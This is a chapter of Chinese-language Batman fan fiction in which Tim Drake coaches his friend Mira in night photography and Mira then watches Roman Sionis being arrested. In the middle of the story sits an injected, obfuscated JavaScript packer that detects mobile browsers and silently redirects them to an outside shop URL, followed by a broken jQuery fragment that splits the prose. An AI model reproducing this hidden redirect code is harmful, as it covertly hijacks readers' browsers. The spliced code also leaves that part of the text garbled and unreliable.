“我恨你,提米。”
哥谭的夜晚具有令人震撼的美丽与致命的危险,暂且不说有魅力的部分,危险的它就是一个光着膀子但全副武装,要枪有枪,要刀有刀,还凶神恶煞溶于阴影的彪形奇行种。
天很暗,很冷,在有事发生之前,这里的一切都是安静的。
所幸,今天的哥谭夜晚里没有拿着相机观鸟的小孩。
此时的米拉正坐在电脑桌前修照片,努力摸索那些套锁、曲线、印章、图层、滤镜、调色、亮部对比等等密密麻麻的功能。
“嘿!你刚刚还看上去像是爱死我了。”提姆一边整理着自己的照片收藏,一边坏心眼调侃,“还记得吗?绝不放弃。”
米拉哀嚎:“但我以为的学习过程是穿梭在哥谭的夜晚,调查他们的行动路线然后提前蹲守!”
提姆得意的表情非常邪恶:“是的,米拉,但你离能做那些事还远。”
他抽出一张照片晃悠:“如果你想得到这样一张照片,不能单单只用相机拍,而且你想晚上和我一起跟拍要学的还很多。”
米拉有种不好的预感试探开口:“比如?”
提姆:“比如能画出哥谭地图。”
米拉:“……”
米拉的声音发颤:“我能问为什么要学这个吗?”
提姆眼神坦荡:“跑的时候不会进死胡同,你也不想遇到劫匪的时候被堵吧,这真的很有用。”
米拉觉得自己跟拍无望,但不得不承认:“这确实很有用。”
不愧是能拍到罗宾的男孩!
得意的邪恶表情消失,提姆现在笑的像是一个天使:“那还学吗?”
米拉:“……”
学!学的就是提姆的观鸟摄影特训!
提姆欣慰地拿出纸笔列教案,浑身散发出一种神圣的教师光芒:“放心吧!我一定会把我所有的东西都交给你!你会成为比我更优秀的观鸟摄影师!”
米拉被激励到了,还有一点感动:“你真的觉得我能成为比你更优秀的观鸟摄影师吗?”
提姆回答的毫不犹豫:“当然,你可是我的学生,我有什么不对你充满信心的理由?”
说完,他顿了顿,安抚道:“不过,如果你没能成为比我还优秀的观鸟摄影也不要气馁。”
提姆认真地看着米拉,哪怕是脸上的婴儿肥也难掩他的严肃:“这绝不证明你不够努力,这只证明你的天赋在其他方面。”
米拉彻底感动了,她指向提姆的书架,灵魂发问:“提米老师,你这么小,为什么会看《怎样和孩子沟通》这种书。”
提姆尴尬地咳嗽一声:“为遇到罗宾做准备。”
其实他书架里更多的是《怎样和人交朋友》。
说完,他眼神期待:“你觉得怎么样?”
米拉诚实反馈:“非常感动,罗宾一定会喜欢和你说话的,但我不能同时是你的朋友、学生、同桌、修图助手、拍照伙伴和实践学习内容的实验对象。”
提姆眼神清澈地看着米拉:“米拉,我的挚友。”
当你用一个招式获得一个朋友的时候,请不要抱有你的朋友不会用这个招式来对付你的侥幸。
在她成为比提姆更厉害的观鸟摄影师之前,提姆已经先成为了比她更厉害的挚友忽悠师。
作为招式创始人,米拉相信自己不会中招,信心满满地在心中排练一遍自己的反应。
她会露出冷酷的眼神,带着不满和对提姆贪婪的谴责,大声告诉他:不可以!
行动上,米拉根本没看排练本,迅速妥协:“好吧,你可以。”
她真的无法拒绝一个在明知她现在的监护人是个很可能会牵怒他人的人渣还依旧和她交朋友,答应教她夜晚观鸟还注意她的安全,用及其负责的态度和行动教导她的提姆。
天呐!他真好!
为了未来能在哥谭里穿梭拍照,米拉沉浸在修图中,只为在修图方面尽快毕业。
然而,终于想起她的某些人并不想给她更多的时间,门铃的响声让两个小孩警惕地对视一眼。
米拉通过猫眼向外看,门外刷新的秘书女士让她失去了面对的勇气。
秘书女士再次敲门:“米拉小姐,老板让你回家吃饭。”
米拉看向提姆,眼中含泪:“提米,再见了,如果我明天没能出现在你旁边的话,接下来你人生中遇到的任何动物都有可能是我。”
提姆的表情肉眼可见的纠结:“蚊子也是吗?”
米拉胡乱点头:“是的,以后要是有蚊子吸你的血,你千万不要拍,说不定其中一个就是我。”
说完不给提姆再说话的机会匆匆挥手告别,按下门把手只开了条缝,迅速挤了出去,又反手关上门,没让秘书女士看到一片多余的衣角。
“我们走吧!”说完,米拉从石阶上蹦了下去,表示自己迫不及待,实际上只是在强撑罢了。
她坐上停在德雷克庄园门口的车,低头系安全带:“没想到你竟然会忘记来接我。”
米拉发出“我担心你”的套话声音:“是今天很忙吗?还是出了什么意外?”
“感谢小姐对我的担心。”秘书女士低声解释,“安排接送你上下学的司机被其他帮派的人报复受了点伤,现在还在医院。”
“但是请放心。”她说的很肯定,“不会再出现今天这种情况了。”
米拉沉思:“这样啊,那我以后放学想去朋友家做客的话,直接告诉那个司机就可以了对吧?他的伤还好吗?”
秘书女士:“小姐还想要那个司机接送你吗?”
“为什么不?”米拉翘起了尾巴,“我猜那是你安排给我的专用,我喜欢专用的。”
秘书女士点头:“那么没错,如果你想要去朋友家玩,直接告诉那位司机就好。”
米拉露出后知后觉的神情,语气里带着孩童自以为表演的很好的夸张:“意思是你原本准备换掉那个司机吗?”
秘书女士通过后视镜看了一眼后面的机灵鬼,脸上第一次出现了表情。
她唇角上扬:“因为你可以有很多专用。”
米拉瞪圆眼睛,若有所思。
秘书女士被米拉的表情逗笑。
对话间,米拉收获到了一位专用司机,也收获到了可靠秘书的一点点喜爱,车内的气氛轻松下来。
就在距离西恩尼斯庄园还有一段距离时,秘书女士接到了一通电话。
听着电话里下属的报告,她踩下了油门。
“很抱歉,小姐,你今天可能见不到老板了。”秘书女士像是没招了,近乎棒读般陈述,“GCPD收到了神秘人士整理的一些证据,蝙蝠侠和罗宾已经到了庄园里,老板可能要去黑门监狱走一趟。”
说完,她补充道:“按照现在的车速,你大概能见到老板最后一面。
米拉愣住了。
她想到了自己刚得到的那个房间,只属于她的房间。
难道她即将失去他刚得到的家庭吗?她甚至没有机会叫对方一声父亲,没能和对方在同一个餐桌上吃饭。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537914|203864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车辆还在行驶,米拉的心渐渐下沉。
无论内心多么抵触,嘴上怎样否认,她也无法否认他们那张极端相似的脸。
虽然她的生命危险因此解除还被天降巨富砸中,但她失去的可是自己最后的亲人啊!
米拉咽下不怎么道德也可能道德的欢呼声,表演出两分之两百的茫然无措。
直到车辆停在西恩尼斯庄园的门口,米拉也仍保持着自己脸上的表情。
而正如秘书女士所言,她们见到了罗曼最后一面,蝙蝠侠和罗宾正在把他绑起来。
男人狼狈地倒在地上,本该整洁的白西装上沾满尘土与污渍,特制的绳索把他缠绕成半条毛毛虫,但他仍在挑衅蝙蝠侠。
罗曼:“你以为这就结束了?不!黑门监狱根本关不住我!我会出来的!而到时——”
罗宾早有准备地掏出一块他们打到厨房时顺手拿的一块面包,一整块直接塞进罗曼嘴里直达喉咙眼,客厅瞬间安静下来。
米拉看着在呕吐和咀嚼之间反复挣扎的罗曼,脸上茫然失措的表情差点被笑容转走。
罗曼注意到了她,忍耐住呕吐的反应直直看向她。
两双颜色稍有不同的蓝眸对撞,却没有人率先发出声音。
米拉忽然有点笑不出来。
真的没有一丝一毫的难过吗?
真的。
她和罗曼根本没见过几面,对方还是出名的人渣,这个时候说难过太假了。
但或许,她是有些疑惑的。
她看过那张被罗曼称作“证据”的照片。
身穿白色衬衫和黑色吊带短裤的年幼金发男孩大概身处书房之类的地方,他放松地坐在单人沙发上,浅色的眼睛直直望向镜头。
她说长得像就不代表自己是罗曼·西恩尼斯的女儿。她说的理所当然,仿佛他们之间百分百没有关系。
但他们几乎一模一样。
“……罗曼。”米拉终究只是这么叫他,却又不知道还能再说些什么。
她沉默了大概有一分钟或者两分钟。
这个时间间隔已经不适合继续说什么了,但她认为这种停顿对气氛的渲染很有帮助:“我还能再见到你吗?”
米拉由衷的希望黑骷髅头什么都不说,因为她知道他们永远永远永远也不会再见了。
和哥谭死刑说hello去吧老登!!!
罗曼:“……”
罗曼沉默着,什么都没说,也可能是来不及说,警车声逐渐靠近,GCPD的警员冲进大门,神情肃穆,行动谨慎地把他带走了。
两人擦肩而过的一瞬间,米拉侧身,眼神跟随着罗曼的背影,直到他被押送上车,直到车也离开。
米拉不存在的抽人大尾巴开始邪恶地甩。
这时,在警察来之前就消失的罗宾鸟从高处落下,动作僵硬地掏出一颗糖递给米拉,又迅速飞离消失。
脑子还没反应过来,米拉已经做完了接糖揣兜继续保持悲伤沉默的一连串流程。
就连秘书女士也开口安慰:“我会很快把老板捞出来的。”
米拉终于从沉浸式自嬷表演法中脱离,猛地转头看向秘书女士,不可置信道:“死刑的也能捞?!”
看人渣去死并不会让人真情流露,破防才会。
秘书小姐很直言不讳:“阿卡姆其他人有没有病我不知道,老板是真有病。”
米拉:天杀的!高兴早了!这也能捞?!!
还没见识到哥谭真正黑暗的米拉大为震撼。